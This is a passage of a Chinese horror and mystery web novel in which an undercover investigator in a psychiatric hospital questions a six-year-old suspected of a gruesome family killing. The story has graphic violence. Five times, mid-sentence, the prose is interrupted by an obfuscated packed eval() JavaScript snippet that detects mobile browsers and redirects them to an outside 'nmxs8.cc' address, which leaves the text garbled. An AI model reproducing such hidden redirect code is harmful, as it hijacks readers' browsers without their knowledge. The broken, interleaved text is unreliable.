啊,不对,他比他们顽劣,满肚子坏水。 他不知从哪里听说了“中央空调”这个词,便愤愤地想:闻璨就是中央空调。 很久以后,他才知道中央空调是来形容有很多好妹妹的渣男的。 有时候,闻璨会在他的房间,给他辅导功课,要是时间晚了,他偶尔会大发慈悲地容许闻璨和他一起睡。 每次,他都会下意识地蜷缩着睡,等他醒来,却总是发现自己挂在了闻璨身上,直如动物世界里,爱挂在树上的猴。 即使被他缠得难受了,闻璨也从不会拨开他的手脚。 醒来后,他总是飞快地松开闻璨,做出一副嫌弃的表情。 他啊,对闻璨从来都不坦诚。 如今,闻璨不在了。 不,闻璨还在,一把推开了他,正当着他的面,被狮鬃水母一般的怪物用触手圈住腰身,送入口中。 闻璨的骨头被一块块咬碎了,脆响不绝于耳,好似他曾与闻璨一道吃过的鸡脆骨。 “救救我,救救我……” 闻璨正在向他求救,他一摸口袋,里面没有闻璨送给他的匕首。 啊?闻璨曾经向他求救过? 闻璨一身的骨肉全然被咬碎了,狮鬃水母略显透明,他竟然能隐约看见闻璨的脑浆是如何爆出来的,闻璨的五脏六腑又是如何裂开的,活像一颗颗西红柿,鲜艳多汁,触目惊心。 “快跑,向罂,快跑,跑得远远的,越远越好,快跑!” 闻璨的声音发闷,应当是从狮鬃水母体内传出来的吧? 向罂跑了两步,眼睛里瞧见的分明是平地,一脚踩下去,却是万丈深渊,根本见不到底。 “啊……” 坠落感教向罂浑身难受得难以言喻。 不安,恐惧,最后破罐破摔。 不如死了吧。 和闻璨一样死了吧。 死后,他就能再见到闻璨了。 “啊……” 向罂猛地坐起身来,气喘吁吁,全身上下的皮肉齐齐颤抖着,仿佛正在痛苦地呻.吟。 他抬手抚上自己的额头,上头布满了热汗,一滴一滴地侵入他的指缝,浸润了惨白的被面。 他时常梦见闻璨,梦里的闻璨与现实中的闻璨一致,不幸地被狮鬃水母大快朵颐。 不过今天之前,两个闻璨都没向他求救过,只是叫他快跑,快跑。 那么刚才梦里的闻璨为什么会向他求救? 梦是会变的,没有既定的样式? “救救我!救救我!” “咚!咚!咚……” 房门被敲得摇摇欲坠。 却原来是门外有人在向他求救。 他打开灯,下了病床,踩上拖鞋,走到房门前,打开房门。 映入眼帘的是一个瘦弱的小男孩,长相十分清秀乖巧,不像是能使出这么大力气的样子。 小男孩一下子扑进了他怀里,抱着他的大腿道:“救救我,哥哥救救我!” 他摸了摸小男孩的脑袋,示意已经赶来,正在不远处的护士稍等。 而后,他牵着小男孩的手,进了病房,并关上了房门。 小男孩哇哇大哭,好一会儿,才抽抽噎噎地道:“哥哥,我想回家,我不想待在这儿,这儿的医生护士每天都虐待我,哥哥,救救我。” 向罂孤僻,这时候只能假装亲切,尽量温柔地道:“我叫’向罂’,你叫什么名字?得的是什么病?这儿是精神病院,医生护士怎么会虐待你?他们都想治好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15187600|163120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你。” 前天,向罂出院回到宿舍没多久,就接到了段昀的电话。 根据段昀的说法,这间国立第一精神病院在一个星期内失踪了足足八个人,警察详细调查后,生不见人,死不见尸,而且这八个人根本没出院门。 这八个人要么是主动失踪,要么是被动失踪。 如果是前者,原因是什么?不过不论原因是什么,跟“怪物清除局”没什么关系,需要由警方继续展开调查。 如果是后者,原因是什么?作案的是人类么?那八个人也可能被潜伏着的怪物吃掉了。 国立第一精神病院的安保甚是严格,如果是后者,不管是人类,还是怪物都应该还在国立第一精神病院内。 总而言之,目前无法下定论,所以段昀派他来和警方共同调查。 他挂下电话不久,段昀便将国立第一精神病院所有人的资料送来了。 他的记忆力不错,看了几遍,便记住了。 昨天,他以罹患“抑郁症”的名义入院。 而他眼前这个孩子的大名是金豆,小名是豆豆,患有“分离性身份识别障碍”,又称“多重人格障碍”。 金豆被怀疑在五天前,六岁生日当天,杀害了自己的父母以及一条萨摩耶犬。 现场十分惨烈,连见多识广的办案警察都吐了出来。 根据档案所示,死者与死犬的内脏全数被挖了出来,抹了满墙。 此案由邻居闻到血腥味后报案。 警察接警赶来,强行破门。 一进门,警察见金豆浑身是血,当即检查了金豆的身体,并无外伤。 警察初步判定有人入室杀人,不知是起了怜悯之心,还是出了岔子,才放过了金豆。 金豆居然低下身去,理所当然从母亲胸腔内沾了血,继而热情地问警察:“要不要一起画画?” 母亲的身体似乎成了金豆装颜料的容器。 警察没有答话,金豆便自顾自地画了起来。 画的赫然是金豆、爸爸、妈妈以及萨摩耶Lucky的全家福。 全家福猩红、诡异,创作了这幅全家福的孩子站在一片血色中,露出了天真无邪的笑容。 13.国立第一精神病院·其二 “叔叔,我画得好不好呀?李老师选了我去参加绘画比赛,我能不能获奖?” “如果我能获奖,爸爸妈妈一定会很开心吧?” “爸爸妈妈如果很开心,我就让他们带我和Lucky一起去郊游。” “Lucky可喜欢去玩儿啦,还喜欢游泳。” “Lucky的毛毛又多又厚,每次游完泳,爸爸妈妈都要花好多时间,才能给他吹干。” “Lucky还喜欢我陪着他一起游泳,我不会游泳,只能抱着游泳圈,可狼狈啦,有一次,我还呛了水,超难受的。” “Lucky是条大笨狗,也不知道来救我。” “狗狗是不是天生就是游泳高手,压根不用学?好羡慕呀。” “我也想当游泳高手,老师说游泳是全身运动,对身体可好啦。” “算了,我要是当不成游泳高手,当画画高手也很好。” “叔叔,你说,我画得好不好?” “叔叔,你为什么一直不说话?” 金豆看起来天真烂漫,一双眼睛干净明亮,好似从未接触过不好的人事物。 倘使擦去金豆脸上的斑斑血迹,换掉金豆的一身血衣,再换个正常的环境,而非凶案现场,警察定然会觉得金豆很是可爱。 但此时此刻,警察只觉得不寒而栗。 金豆见这个陌生的叔叔不理睬他,肉乎乎的小脸气鼓鼓的,一把抱起地上的萨摩耶,委屈地问道:“Lucky,你说我画得好不好?” 萨摩耶Lucky垂软着身体,当然说不出话来。 这副场景实在是诡异至极,偏巧不知谁家的高压锅开了,尖叫个不停。 至此,警方全然不认为是金豆作案,而是初步判断金豆因为当场目击父母与爱犬被虐杀而受了刺激,精神失常,不肯接受现实。 毕竟对于一个年仅六岁的孩子来说,杀害两个成年人与一条成年犬,并用菜刀将他们开膛破肚的难度太大,无异于天方夜谭。 然而,警方完全查不出凶手,乃至于连一个像样的嫌疑人都找不到,总不能是死者自己干的吧? 警方正为此焦头烂额,给金豆检查身体的医生竟然判定金豆患有“分离性身份识别障碍”,体内有至少两个人格,并且其中一个人格具有反社会的危险。 是以,惟一的活口金豆顺理成章地成为了惟一的嫌疑人。 两天前,金豆被警方送入了国立第一精神病院,接受调查与治疗。 金豆入院之后,一连失踪了七个人。 金豆是否金家一案的犯人尚无定论,金豆与八个病人的失踪是否有关联尚无定论,甚至连第一个失踪的病人与后七个失踪的病人是否有关联亦尚无定论。 向罂手头没有线索,原本打算一个一个地调查精神病院里的病人、医护、后勤以及相关人员。 这个金豆既然自己送上门来了,他便从金豆开始着手吧。 “他们才不想治好我!”金豆可怜巴巴地背过身去,掀开衣服给向罂看,“他们打我,这就是虐待!” 金豆背上印着几不可见的淤青,金豆入院的时间太短,倘使挨了打,绝不可能好得这么快。 根据研究,“分离性身份识别障碍”的病因多是患者曾在童年遭受过虐待。 金豆被父母虐待,催生出了一个暴力的人格来保护自己,这个人格替主人格除掉了父母? 办案警察的走访得知金豆的父母对其非常严格,但无人知晓他们是否曾虐待过金豆。 从笔录上来看,金豆并不承认自己曾被父母虐待,且坚称父母对自己很好。 但医生的治疗记录上写了金豆身上有多处淤青,推测曾被家暴。 金豆不愿接受父母加诸自己的暴行,所以选择自欺欺人? 为了给伤找个由来,便选择了医护? 或者面前的这个金豆并不是主人格,并且完全不知道发生在主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15199707|163120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人格身上的事,以为是医护要害他? 面对重重迷雾,向罂帮金豆拉好衣服,继而摸了摸金豆的脑袋:“别怕,如果他们敢打你,由我来保护你。” “真的嘛?”见向罂点头,金豆顿时眉开眼笑,“拉钩。” “好,拉钩,上吊,一百年,不许变。”向罂用尾指勾住了金豆的尾指,金豆还小,小手胖乎乎的,肌肤稚嫩。 与金豆血脉相连的父母如若当真对这么小的孩子动手,未免太狠心了。 金豆这才放松了些,回答了向罂刚刚的问题:“我的名字叫‘金豆’,有个小名叫‘豆豆’,医生说我得了什么‘分离性身份识别障碍’,也就是俗称的‘人格分裂’。” 他仰着小脑袋问向罂:“哥哥,什么是‘人格分裂’?” 金豆才五岁,应该确实不懂什么是“人格分裂”。 向罂含糊其辞地道:“豆豆,‘人格分裂’好像是分裂出不止一个人格,具体的哥哥也不懂。” 金豆小心翼翼地望了眼门口,见玻璃窗口外空无一人,才好奇地道:“我知道这里是国立第一精神病院,专门治精神病的,哥哥得了什么精神病?” “我啊,医生说我得了‘躁郁症’。”向罂柔声道,“我的症状是每天躺在床上,不想动,不想吃,不想喝,什么都不想干,觉得这个世界没意思,活腻味了,却又觉得死也没意思,连割腕都懒得割。可是我有时候又觉得这个世界很有意思,自杀也很有意思,甚至……” 他压低了声音:“甚至连杀人都很有意思。” ——他不清楚金豆的人格具体是如何转换的,所以在试探金豆。 “一刀子捅进活生生的人体里,血溅出来,热热的,红红的。人会挣扎,会求饶,就算地位再高的人这时候都会丑态百出,想想就觉得可有意思啦。小金豆,你喜欢杀人么?我们一起杀人玩好不好?”他再接再厉,眼神迷离,仿佛已经陷入杀人的快.感当中,不可自拔。 14.国立第一精神病院·其三 金豆吓得脸色煞白,瑟瑟发抖,双腿不由自主地后退了好几步,但妈妈说过他是个小男子汉,要勇敢,因而他强行顿住了,不许自己拔腿就跑,大着胆子道:“哥哥,你太吓人了,我妈妈说过生命是这世界上最宝贵的东西,有且仅有一次,所以不可以杀人,绝对绝对绝对不可以杀人!” ——金豆的妈妈是法医,看来平日里没少给金豆做生死教育。 给金豆一家三口做尸检的正是金豆妈妈的同事。 同事做完那次尸检后,想必是刺激太大,辞职了。 向罂从善如流地道:“哥哥听豆豆的话,哥哥只是偶尔想想,不会真的动手杀人的。” 金豆严肃地道:“哥哥真的不会动手杀人?” “就像你妈妈说的那样,生命是这世界上最宝贵的东西,哥哥怎么可以随意剥夺别人最宝贵的生命呢。”向罂再三保证,“哥哥绝对不会杀人。” “那就好。”金豆一本正经地道,“想想也不可以哦,最好不要想,这个世界多美好呀,爸爸好,妈妈好,Lucky好,老师好,同学好,我可喜欢这个世界啦。哥哥也要喜欢这个世界哦,别躺着一动不动,多动动,出门走走,看看蓝天,看看白云,看看花,看看树……就好啦。啊,对了,忘记说了,Lucky是我家的狗,是一只萨摩耶,长得像一团棉花糖,可好挼啦。Lucky这个名字是我取的哦,因为英语老师说’Lucky’是幸运的意思。Lucky能来到我们家,就是全世界最幸运的小狗狗啦。” ——Lucky来到你们家,被剖开肚子,取出内脏,成为了全世界最悲惨的小狗之一。 向罂下意识地面色一沉,又马上挤出笑来:“是啊,Lucky真是一条幸运的小狗狗。” “Lucky它可贪吃啦……”金豆喋喋不休地讲起了Lucky,其中夹杂着他的双亲。 向罂适时做出反应,想来是很久没人耐心地听金豆说话了,不一会儿,金豆便将方才的恐惧抛诸脑后了。 向罂在病床边坐着,金豆说着说着,亲热地来抱向罂的脖子,向罂没反抗,但浑身紧绷。 假使真是金豆的另一个人格虐杀了俩人一犬,那么会不会杀他? 他原本没想过生与死的事,自从闻璨出事后,他变得非常惜命。 一旦丧命,他便永远不会再见到闻璨,也永远不会知道闻璨能否借助狮鬃水母的身体重生。 金豆顿了顿,奶声奶气地道:“我想爸爸,想妈妈,想Lucky了,哥哥能不能送我回家?” ——可是你没有家了,你的爸爸妈妈以及Lucky都死了,死得凄惨可怖。 我也一样,没有家了。 向罂为难地道:“哥哥我自己都出不了院,怎么送你回家?” 金豆摸摸向罂的头:“哥哥真可怜,哥哥是被爸爸妈妈送进来的嘛?” 向罂点点头:“是啊。” “我问了好多人,绝大多数都说是被爸爸妈妈送进来的,不知道为什么我是被警察叔叔送进来的。”金豆吸了吸鼻子,“哥哥,爸爸妈妈是不是不喜欢我啦?所以要丢掉我,再生个弟弟?好几个亲戚都问过我想不想要弟弟。假如我有了弟弟,爸爸妈妈的爱就要分一半给弟弟,Lucky也要分一半时间陪弟弟玩,所以我不想要弟弟。是不是因为我不想要弟弟,所以爸爸妈妈就不想要我了?” 金豆看起来非常可怜,向罂只能安慰道:“不会的。” 金豆眨巴着水汪汪的眼睛道:“我现在改口说我想要弟弟了,爸爸妈妈会不会马上来接我回家?” 向罂摇了摇头:“我不知道。” 金豆又问向罂:“为什么医生不许我打电话给爸爸妈妈?如果我能打电话,告诉他们我想要弟弟,他们回来接我的吧?” 因为你的爸爸妈妈没办法接听你的电话。 向罂暗暗地叹了口气。 金豆蹬着小短腿,冲到门口,打开门,大喊:“爸爸妈妈,我想要弟弟,我想要弟弟了,我很想很想要弟弟,你们能不能马上来接我?你们快来接我!” 在金豆的这个人格看来,他被父母抛弃在了精神病院,确实可怜。 向罂不由自主地想起了自己的妈妈,他的生父抛弃了他,甚至打算杀了他,只因他的“异变值”高达四十九,如同打算销毁一台有瑕疵的廉价机器一般漫不经心,但妈妈不同意,她说服不了生父,只得带着他躲了起来,最终在他六岁那年,妈妈被生父抓走了,被迫抛弃了他。 他收起思绪,到了金豆面前:“你别担心,你爸爸妈妈一定很快就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15221108|163120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会来接你的。” 而后,他弯下腰,凑到金豆耳边:“你假使想杀人的话,带上我,我们一起把这个国立第一精神病院的人都杀了,杀得一个不剩,包括警察,这样我们就都能回家了,不用再被关在这里。” 有些“分离性身份识别障碍”患者的所有人格都能感知其他人格控制身体时所发生的事,有些则不能。 医生不确定金豆是哪一种。 金豆抬起头来,瑟瑟发抖:“哥哥,你刚刚在说什么?我没听清。” 向罂无辜地笑了笑:“我听说最近这里失踪了八个人,再多失踪几个又何妨?” “最近这里失踪了八个人?我没听说呀。”金豆恍然大悟地道,“怪不得我最近老是看到警察叔叔。” 向罂不确定金豆是真不知道,还是装不知道。 “失踪的那八个人是不是偷偷地跑回家啦?”金豆兴奋地道,“我也想失踪!我也想失踪!” “指不定那八个人早就被人杀了。”向罂凑近金豆的脸,“他们兴许被人开膛破肚了,内脏、肠子黏黏糊糊地流了一地……” 见金豆目露恐惧,他赶忙打住:“对不起,哥哥只是想和金豆开个玩笑。” 倘使金豆体内真有一个反社会人格,真来找他一起杀人了,那么金豆一家三口的惨死以及七个精神病患的失踪就有可能是这个反社会人格所为。 金豆板着胖乎乎的脸蛋道:“这一点都不好笑,哥哥,你要再这样,我就不理你了。还有,你也别和别人开这种玩笑,可能会被人打。” 向罂露出纯良的表情,正要说话,猝然间,一个瞧来花枝招展的三十来岁的女性冲了过来,一把抱住了他:“弟弟,你是不是还喜欢我?” 这个女性叫做“顾瑶”,患有“钟情妄想症”。 所谓的“钟情妄想症”就是坚信某人爱着自己,即便遭到对方的拒绝,也会认为是对方在考验自己,多见于精神分裂症。 顾瑶没有反社会的倾向,并非重点怀疑对象之一。 向罂不留余地地道:“我根本不认识你。” 顾瑶坚持道:“我们的年龄差距是有点大,婚配一般都是男大女小,我一开始也觉得你太小了,我们不合适,所以才多次拒绝了你,但我想通了,我们在一起吧。” 15.国立第一精神病院·其四 “我不认识你。”向罂推开顾瑶,朝不远处假装看病历的边橙使了个眼色。 ——边橙本来是在化验室工作的,不该出外勤,由于向罂的身体没完全好透,又没有别的处刑官有空来配合向罂执行这次任务,段昀只能选了边橙。 向罂假装躁郁症患者,而边橙则客串护士。 边橙一副萌妹长相,穿护士装有点奇怪。 不过这里可是国立第一精神病院,本来就没几个正常人,边橙这点奇怪压根不打眼。 边橙接收到向罂的眼神,慢悠悠地走过来,一把拉住顾瑶的胳膊:“顾小姐,请跟我回房间。” 向罂也劝道:“顾小姐,跟护士小姐回房间休息吧。” 顾瑶看着俩人,接着怒不可遏地道:“你是不是喜欢上……” 她看了一眼护士的胸牌:“你是不是喜欢上这个边橙了?” 向罂无奈地道:“我不喜欢边橙。” “对,对,对。”边橙挤眉弄眼地道,“他不喜欢我,他有喜欢的人了。” “他有喜欢的人了,他喜欢我,他喜欢的人是我。”顾瑶踮着脚尖,满腹深情。 向罂不想被顾瑶亲,偏过头去。 顾瑶艳丽饱满的红唇顿时落了空,她指着对方道:“你个渣男,你是不是喜欢边橙?” “他喜欢的人不是你,而是他。”边橙将顾瑶往病房拽,“好了,好了,回去休息。” 顾瑶不肯走,破口大骂:“你们有奸情,你们这对狗男女,我和你们没完。” 边橙翻了个白眼:“你连他叫什么名字都不知道,还多次拒绝了他,你搞笑呢?” 金豆有点儿惋惜:“向罂哥哥,你不喜欢这个漂亮姐姐嘛?多漂亮的姐姐呀,要是我和你一样大,肯定喜欢。” 向罂不是瞎子,自然看得出来顾瑶长得风姿绰约,是难得的媚而不俗,但这与他有什么关系? 无论他喜不喜欢闻璨,现在的他都不想谈恋爱,只想找到闻璨。 向罂哥哥! 顾瑶灵机一动:“向罂,他叫向罂,他追求了我好几年,我怎么会不记得他的名字?” 这个金豆和顾瑶配合得真好。 边橙在心里吐槽了一句后,又问道:“这位病人今年还不到十八,他追求了你好几年,是从几岁开始追求的?” 顾瑶含羞带怯地瞟了向罂一眼后,言之凿凿地道:“十岁,我是他妈妈的朋友,他十岁生日那天,他妈妈邀请了我参加他的生日宴,他在生日宴上对我一见钟情,还当着大家的面,向我告白了。他那时候还小,穿着小西装,看起来可可爱了,我根本没往谈恋爱那方面想,以为他只是单纯地对一个姐姐的喜欢,没想到是那种……那种……” 她面色绯红:“是那种对一个女人的喜欢。” 向罂心道:这个顾瑶的“钟情妄想症”未免太严重了,一个人就脑补出了一场戏。 他的十岁生日没有妈妈陪着,也没有生日宴,只有闻家三人。 闻璨照例给他煮了长寿面,他照例不情不愿地吃完了。 闻璨给他擦嘴巴,他还咬了闻璨一口,嫌弃闻璨多事。 他爱咬人,但只咬闻璨,闻璨说因为他属狗,所以不是他的错,是属相的错。 闻璨总是会找些奇奇怪怪的理由来原谅他的任性。 而今回想起来,他只咬闻璨的原因是他有把握闻璨决计不会责怪他。 若是咬闻璨的父母,他们大抵也不会责怪他,但肯定会认真地告诉他咬人不好。 惟有闻璨对于他的所作所为全盘接受。 闻璨…… 闻璨…… 闻璨…… 你在哪里? 我想你了,你想我么? “一个十岁的孩子向你告白,还是那种一个男人对女人的告白,这也太早熟了吧?”边橙叹了口气,“你这剧本要是拍出来,得被下架,对小孩子的影响多不好。” “当然是因为我魅力太大,连一个年仅十岁的孩子都抵挡不住。”顾瑶媚眼如丝地望住了向罂,“你已经长大了,我可以接受你了。” 向罂懒得再和顾瑶废 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15231284|163120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话:“边护士,顾小姐交给你了,我送金豆回房间。” 国立第一精神病院里的精神病人有病况严重的,也有病况不严重的。 前者,要是家属或本人没有特殊要求,院方会安排住六人间或是四人间。 后者,则必须住单间,以免危害同房的病患。 由于尚未弄清失踪案的始末,而且身体尚未恢复,贸贸然与人合住,有在睡梦中被人击杀的可能,因此向罂目前住的是单间。 至于身怀虐杀一家三口可能性的金豆住的当然也是单间。 单间的管理比四人间或六人间严格。 本来金豆是不可能在没人监管的情况下出来的。 是向罂让医生放松了对金豆的管理。 向罂原本是打算自己主动接近金豆的,金豆却来敲了向罂的门。 也可能是这一层的病房中,距离金豆的病房最近的就是向罂的病房了。 走了没几步,向罂便牵着金豆的手,到了病房前。 金豆拒绝道:“我不想回去,我要回家。” “等你痊愈,你爸妈就会来接你回家了。”向罂松开手,拍了拍金豆的背,“乖,进去吧。” “不乖,不乖,我不是乖小孩,会哭的孩子有糖吃。”金豆哭兮兮地道,“我要回家!我要回家!我要回家!” 见向罂不满足他,他在地上打起滚来:“我要回家!我要回家!我就要回家!” 向罂随金豆闹,身后不远处传来顾瑶的声音:“边橙,我知道你喜欢我,我本来坚持只喜欢男人,但你既然这么喜欢我,我也不是不能给你机会。” “边橙,你别走啊,我说我喜欢你,不喜欢男人了,你还有什么不满意的,你说啊!” “你别过来,我对你没兴趣!” “我懂,小橙,你这是欲擒故纵。” …… 向罂回过头去,见边橙被顾瑶追得上蹿下跳有点好笑。 有个路过的保洁看热闹不嫌事大:“哎呀,萌妹和美女多登对呀,边橙,你就接受顾瑶吧。” 16.国立第一精神病院·其五 金豆宛若吃了菠菜的大力水手一般,越闹声音越响,以至于时不时地有病患骂道:“吵死人了!还让不让人睡了?” 向罂向金豆伸出手去:“别闹了,我拉你起来。” 金豆重重地拍开向罂的手:“就闹,就闹,我要闹得这间破精神病院把我赶出去,这样我就能回家了。” 向罂蹲下身去,提议道:“我们一起把这间精神病院的人都杀了,你就能回家了,不好吗?” “不好,杀人不好。”金豆拼命摇头。 向罂伸手摸上金豆的脖子,温言道:“我也不想待在这里,我们一起把这里的人都杀了吧。你要是不听话,我呀……” 他的手稍稍用力,并舔了舔嘴唇:“我就把你也杀了,你喜欢哪种死法?我可以满足你哦。” 金豆的主治医生今天值夜班,听到动静,走了过来:“金豆,你怎么还不睡呀?” 向罂当即松开手,站起身来,向医生打招呼:“杰利医生,你好。” “是向罂啊,你怎么和金豆在一块儿?”杰利扶了扶老花镜。 向罂乖巧地笑道:“金豆问我能不能送他回家。” “我们小金豆还不能回家。”杰利将金豆扶了起来,拍了拍金豆的病号服,“金豆啊,医生伯伯带你进去休息。” 向罂没说话,看着杰利和金豆。 应该是杰利曾对金豆做过电击治疗的缘故,金豆在杰利面前格外听话。 金豆上了病床,乖乖躺好。 金豆床边有束缚带,不过根据金豆的治疗记录,自从入院后,金豆的第二人格还没出现过,金豆自然也没有用过束缚带。 杰利给金豆盖好棉被,便走了出来,并关好了房门。 见向罂还在,杰利本着医者仁心关怀道:“别担心,会好起来的。” 杰利并不知道向罂是“怪物清除局”派来的处刑官,向罂对杰利表示了感谢后,又害怕地问道:“杰利医生,我听说这里最近不太平,有人失踪了,会不会是有怪物出没?我入院前,看过新闻,新闻里说有一头长得像狮子还是什么猫科动物的怪物闯进国会了,还吃了好几个议员,连议长都险些被吃掉!” ——“怪物清除局”上下所有人员,尤其是处刑官的信息高度保密。 不管是长相,还是姓名,都不得外泄。 国内的媒体都签过相关协议,当时在场的媒体不是小心地没拍到他,就是把拍到他的画面删除了。 因此,杰利不会在新闻中看到他,也不会将他同“怪物清除局”扯上关系。 “有人失踪了,没听说啊。”杰利微笑道,“你是不是从哪儿听来的?” 杰利医生,全名杰利·弗雷曼,一从医科大学毕业,便进了国立第一精神病院实习,三年后转正,至今已在国立第一精神病院工作二十六年了。 杰利·弗雷曼是全院最受欢迎的医生。 其他医生,别人都是称呼姓氏的,譬如王医生,刘医生,只有杰利·弗雷曼,大家都叫他“杰利医生”。 八人失踪案之前,国立第一精神病院没有病人失踪过。 故而,一般来说,杰利·弗雷曼并没有嫌疑。 杰利·弗雷曼不肯对他这个病人吐露失踪案,应当是为了让他安心治疗。 “啊,可能是我听错了吧。杰利医生,晚安。”向罂回了病房。 他刚刚躺下没多久,房门被打开了,有人鬼鬼祟祟地走了进来。 ——是边橙。 向罂猜到边橙要向他抱怨顾瑶,不想听,努力装睡。 边橙一把掀开向罂的棉被:“我知道你没睡。” 向罂不为所动。 “标本瓶不在,你哪有这么容易睡着。”边橙往病床边一坐,“是不是想念你的那个他了?” 向罂认命地睁开双眼:“我累了,想睡觉了,你能不能出去?” “你果然没睡。”边橙心有余悸地道,“你知不知道,你一走,顾瑶就变心了,非要说我死皮赖脸地追求她,还跑到她的工作单位大吵大闹,害得她把工作都弄丢了。她不得不换了工作,搬了家。我不肯死心,找了私家侦探,终于找到了她,又害得她把工作弄丢了。我还没日没夜地蹲在她家门口,吓得她不敢出来。 “她本来看我可怜,没想过报警,这次实在是受不了了。警察把我带到派出所,由于我没对她造成什么实质性的伤害,第二天,我就被放出来了。我又去纠缠她,还自杀威胁她。她不得已姑且接受了我,没多久,趁我不防备,她溜走了。我找啊找,又找到了她,她义正词严地拒绝了我。那次之后,我再也没找过她。她幡然悔悟,发现自己早已爱上了我, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15243698|163120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我却不爱她了。 “这简直比百合小说,还要百合小说。什么她追她逃,她们都插翅难飞啊。什么她爱她时,她不爱她。等她不爱她了,她才爱上了她。太狗血了。她还要和我破镜重圆。” 向罂沉默了一会儿后,淡淡地道:“也许在她的世界里,她所说的故事都是真实发生过的,她为此受尽苦楚。” 边橙表示赞同:“我知道她是个病人,应该理解她,但我并不想当她世界中的角色。” 向罂盯着边橙道:“你还有什么要说的?” “你不好奇我怎么从顾瑶手里逃出来的?”边橙怂恿道。 向罂配合地道:“哦,你是怎么从顾瑶手里逃出来的?” 边橙回答道:“我让警察把她带回房间了。” “哦。”向罂重新闭上了眼睛。 边橙一本正经地道:“你有没有从金豆身上找出线索?” “没有。”向罂给自己盖上被子,笔直地躺着,“我在想金豆的人格是怎样转换的。” “这个连医生都不知道,他进精神病院之前的主治医生说他的第二人格只出现了一次,表现出了强烈的反社会性,巧合的是那天诊室的监控摄像头坏了,诊室里还只有金豆和医生两个人,没有另外一个人能证明金豆当真有第二人格。金豆被送入国立第一精神病院的主要原因是金家一案找不到任何一个除金豆之外的嫌疑人,那么金豆有个反社会人格的可能性就大大增加了。”边橙叹了口气,“这个任务有点棘手啊。” 边橙所说的信息,向罂都在金豆的档案里看过,所以方才他才会三番四次地试探金豆。 当护士的边橙今天值夜班,闲来无事,又问向罂:“能和我讲讲你的那个他么?” “他啊,是个好人,说完了,我要睡觉了。”向罂不耐烦地道。 “好吧,好吧,你睡觉,我也去护士站打个盹儿,有事我叫你。”边橙走出病房前,一回头,发现向罂整副身体蜷缩在一起,被从走道流进去的灯光勾勒出了一个极其寂寞的弧度。 向罂应该爱着他,很爱很爱的那种爱,没了他,活不下去的那种爱。 只是向罂不开窍,全然不懂这就是传说中的爱。 不知道向罂是几岁爱上那个他的? 边橙猛然想起了顾瑶,总不可能是十岁吧? 17.国立第一精神病院·其六 诚如边橙所说,缺少闻璨的右小臂作伴,向罂根本不可能这么快入睡。 他在黑暗中重重地叹了口气,侧躺着,蜷缩着,紧紧地抱住自己的膝盖。 好奇怪啊,明明他和闻璨的体温大差不差,自己抱着自己竟然远没有被闻璨抱着暖和。 是倒春寒的缘故么? 可是病房里明明开了空调。 而且现在已是六月初,过了倒春寒的季节了。 “闻璨,我很想你……” 他之前梦到闻璨了,这回却怎么都睡不着,更不要说梦到闻璨了。 尽管不是什么好梦,教他绝望、恐惧,但他至少能借此见到闻璨。 辗转反侧中,天亮了。 这一夜没发现任何怪物,也没有任何人失踪。 洗漱过后,他穿着病号服,去了食堂吃早餐。 ——除了有危险性的病人,其他病人皆可在院内自由活动,当然也可以自己来食堂。 向罂要了豆浆油条,一个人不紧不慢地吃。 他三步开外是顾瑶,顾瑶看起来没发病,也一个人吃。 